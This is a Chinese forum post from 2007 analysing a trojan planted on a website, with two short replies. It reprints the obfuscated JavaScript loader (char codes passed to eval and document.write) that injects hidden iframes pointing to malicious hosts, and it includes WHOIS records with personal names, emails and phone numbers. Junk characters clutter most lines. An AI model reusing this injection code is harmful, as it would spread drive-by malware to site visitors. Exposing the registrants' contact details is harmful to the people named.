社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5891阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, p/^\(/\])  
_F$t#.o  
http://www.areway.cn/?p=175 3x;y}:wQa  
C9; X6  
`] dx%  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: {p_vR/ yN  
          dmMr8-w  
<script>t=’60,105,102,114,97,109,101, # *aGzF  
32,115,114,99,61,104,116,116,112,58,47,47, tH|Q4C  
102,114,101,101,46,117,45,117,117,117,46,99, >*Z{@1*h  
110,47,101,114,114,111,114,46,104,116,109, f8_UIdM7  
32,119,105,100,116,104,61,49,48,48,32,104, yp/V 8C  
101,105,103,104,116,61,48,62,60,47,105,102, JU,RO oz(  
114,97,109,101,62′; %JH_Nw.P  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> z o))x(  
                                                                                                  {*r$m>HpM  
<script>t=’60,105,102,114,97,109,101,32,115, R (Pa Q  
114,99,61,104,116,116,112,58,47,47,102,114, (,9cCnvmYU  
101,101,46,117,45,117,117,117,46,99,110,47, :g:h 0'G  
101,114,114,111,114,46,104,116,109,32,119, 1?#p !;&  
105,100,116,104,61,49,48,48,32,104,101,105, 'L+BkE6+%  
103,104,116,61,48,62,60,47,105,102,114,97, 9h0,L/;\  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); u|*| RuY  
document.write(t);</script> `g:^KCGMM  
                                                                                                  ;7=J U^@D@  
<html xmlns=” s{EX ;   
http://www.w3.org/1999/xhtml ua>~$`@gX  
“> /Rcd}rO  
<head> r^tXr[}  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> = (h;L$  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> b0x0CMf  
<title>首页 - 爱生活家庭网 ^9f`3~!#bc  
                                                                                                                                                    6XCX#4'i%  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 7D_kkhN  
转换字符串后的大概内容是(谁点击后果自付): &"6ktKrIg  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ?g#t3j>zoF  
                                                                                                                                  3&Zx*:  
查询玉米u-uuu.cn的详细信息: 5i-;bLm  
Domain Name: u-uuu.cn zc~xWy+  
ROID: 20070901s10001s64972306-cn z ex.0OT;  
Domain Status: ok `} Zbfe~  
Registrant Organization: 王雷 1,!\7@<CT  
Registrant Name: 王雷 yl+)I  
Administrative Email: czlovexs@126.com Y52xrIvl\  
Sponsoring Registrar: 北京万网志成科技有限公司 @X><lz  
Name Server:ns.yovole.com 34M.xB   
Name Server:ns1.yovole.com 7,VWvmWJex  
Registration Date: 2007-09-01 17:54 bh6wI%8H  
Expiration Date: 2008-09-01 17:54 w^6N :]d  
最后PING了一下地址 都没有什么…. l*MUDT@M8\  
                                                                                                v?=VZ~`O(  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. v5ddb)  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Wk#-LkI  
<script language=”javascript” src=” tSLl'XeN  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script V>j`  
> f9=X7"dzP  
这个玉米应该有可能是木马作者的: &fhurzzAm  
foafau.info的详细信息: ]8nm9qmF<  
Access to INFO WHOIS information is provided to assist persons in ?(UXK hs  
determining the contents of a domain name registration record in the kAQZj3P]  
Afilias registry database. The data in this record is provided by _ll aH  
Afilias Limited for informational purposes only, and Afilias does not / H/Ne )r  
guarantee its accuracy.  This service is intended only for query-based $ttr_4=  
access. You agree that you will use this data only for lawful purposes fv'P!+)t  
and that, under no circumstances will you use this data to: (a) allow, b'"%   
enable, or otherwise support the transmission by e-mail, telephone, or /1 %0A  
facsimile of mass unsolicited, commercial advertising or solicitations -2Cf)>`v  
to entities other than the data recipient’s own existing customers; or w/D m  
(b) enable high volume, automated, electronic processes that send K T72D  
queries or data to the systems of Registry Operator, a Registrar, or 5kZ yiC*  
Afilias except as reasonably necessary to register domain names or 84\o7@$#  
modify existing registrations. All rights reserved. Afilias reserves `mTxtuid{  
the right to modify these terms at any time. By submitting this query, `l#$l3v+  
you agree to abide by this policy. !0+Ex F  
Domain ID:D22418703-LRMS ,/U 9v~  
Domain Name:FOAFAU.INFO ri V/wN9C  
Created On:20-Nov-2007 16:05:42 UTC 8=AKOOU7>  
Last Updated On:20-Nov-2007 16:05:44 UTC ~7lvY+k)<  
Expiration Date:20-Nov-2008 16:05:42 UTC <?}g[]i  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 0|vWwZq  
Status:CLIENT DELETE PROHIBITED 2n:J7PGD  
Status:CLIENT RENEW PROHIBITED qz SI cI  
Status:CLIENT TRANSFER PROHIBITED Zpd>' ${4  
Status:CLIENT UPDATE PROHIBITED 2Yjysn  
Status:TRANSFER PROHIBITED \uIC<#o"N  
Registrant ID:GODA-040110615 ,IB)Kk2  
Registrant Name:liu hong I<-" J^2  
Registrant Organization: 2 ~'quA  
Registrant Street1:beijing 3<E$m *  
Registrant Street2: v@SrEmg  
Registrant Street3: gZ  Si\m>  
Registrant City:beijing OB@t(KNx*P  
Registrant State/Province: g o Z#  
Registrant Postal Code:100000 -iX!F~qS,  
Registrant Country:CN L,GtIZkE  
Registrant Phone:+86.860108888777 5-po>1g'  
Registrant Phone Ext.: y_r6T XnGL  
Registrant FAX: X*) :N]  
Registrant FAX Ext.: G\AQql(f4  
Registrant Email:bbbshiji@163.com a-5$GvG  
Admin ID:GODA-240110615 Db:WAjU  
Admin Name:liu hong haK5Oe/cE  
Admin Organization: IsL/p3|  
Admin Street1:beijing :|Ty 0>k  
Admin Street2: |?W   
Admin Street3: 8{ e 3  
Admin City:beijing $QnfpM%+=  
Admin State/Province: 0P >dXd)T  
Admin Postal Code:100000 yln.E vJjD  
Admin Country:CN g5\B-3{  
Admin Phone:+86.860108888777 \H12~=p`B  
Admin Phone Ext.: )ISTb  
Admin FAX: 8RD)yRJ  
Admin FAX Ext.: 4(ZV\}j1  
Admin Email:bbbshiji@163.com >GRuS\B  
Billing ID:GODA-340110615 E/ )+hK&  
Billing Name:liu hong 5E|2 S_)G  
Billing Organization: Z:Am\7 I  
Billing Street1:beijing F9hWB17u  
Billing Street2: j(2T,WM  
Billing Street3: [D\AVx&  
Billing City:beijing _s,svQ8#  
Billing State/Province: 06;{2&ju<  
Billing Postal Code:100000 31Du@h8YX  
Billing Country:CN aoX$,~oI5  
Billing Phone:+86.860108888777 4!|ar?Zy  
Billing Phone Ext.: @SXgaWr  
Billing FAX: ^Y |s^N  
Billing FAX Ext.: =c 4U%d2  
Billing Email:bbbshiji@163.com ~`.%n7  
Tech ID:GODA-140110615 |XZf:}q5:  
Tech Name:liu hong [%Xfl7;Wh  
Tech Organization: 9$i`B>C~  
Tech Street1:beijing $ 7!GA9Bn  
Tech Street2: 5}ah%  
Tech Street3: v$Z1Lh  
Tech City:beijing cxdM!L; `  
Tech State/Province: (5 hu W7v  
Tech Postal Code:100000 _=#mmZkq  
Tech Country:CN 58,mu#yq6  
Tech Phone:+86.860108888777 H0 t1& :  
Tech Phone Ext.: OwUbm0)h^V  
Tech FAX: X=~QE}x  
Tech FAX Ext.: #n r1- sf|  
Tech Email:bbbshiji@163.com M$9h)3(B  
Name Server:NS27.DOMAINCONTROL.COM y0]O 6.{  
Name Server:NS28.DOMAINCONTROL.COM r>o6}Mx$  
Name Server: Vo[4\h#$  
Name Server: ,Nh X%  
Name Server: *ni|I@8  
Name Server: k=}hY+/=  
Name Server: KG@hjO  
Name Server: uI/ A_  
Name Server: jRc#>;dN  
Name Server: Yw0@O1Cel  
Name Server: RqR  X  
Name Server: {wySH[V  
Name Server: cyyFIJj]  
                                                                                                          [E1I?hfJ  
接着下载每个文件里面的代码: g^FH[(P[G  
一步一步看.. va<pHSX&I@  
rD gl@B3  
l"CONzm!  
|Sm/Uq(c  
8qveKS]vZ  
zT8K})#  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五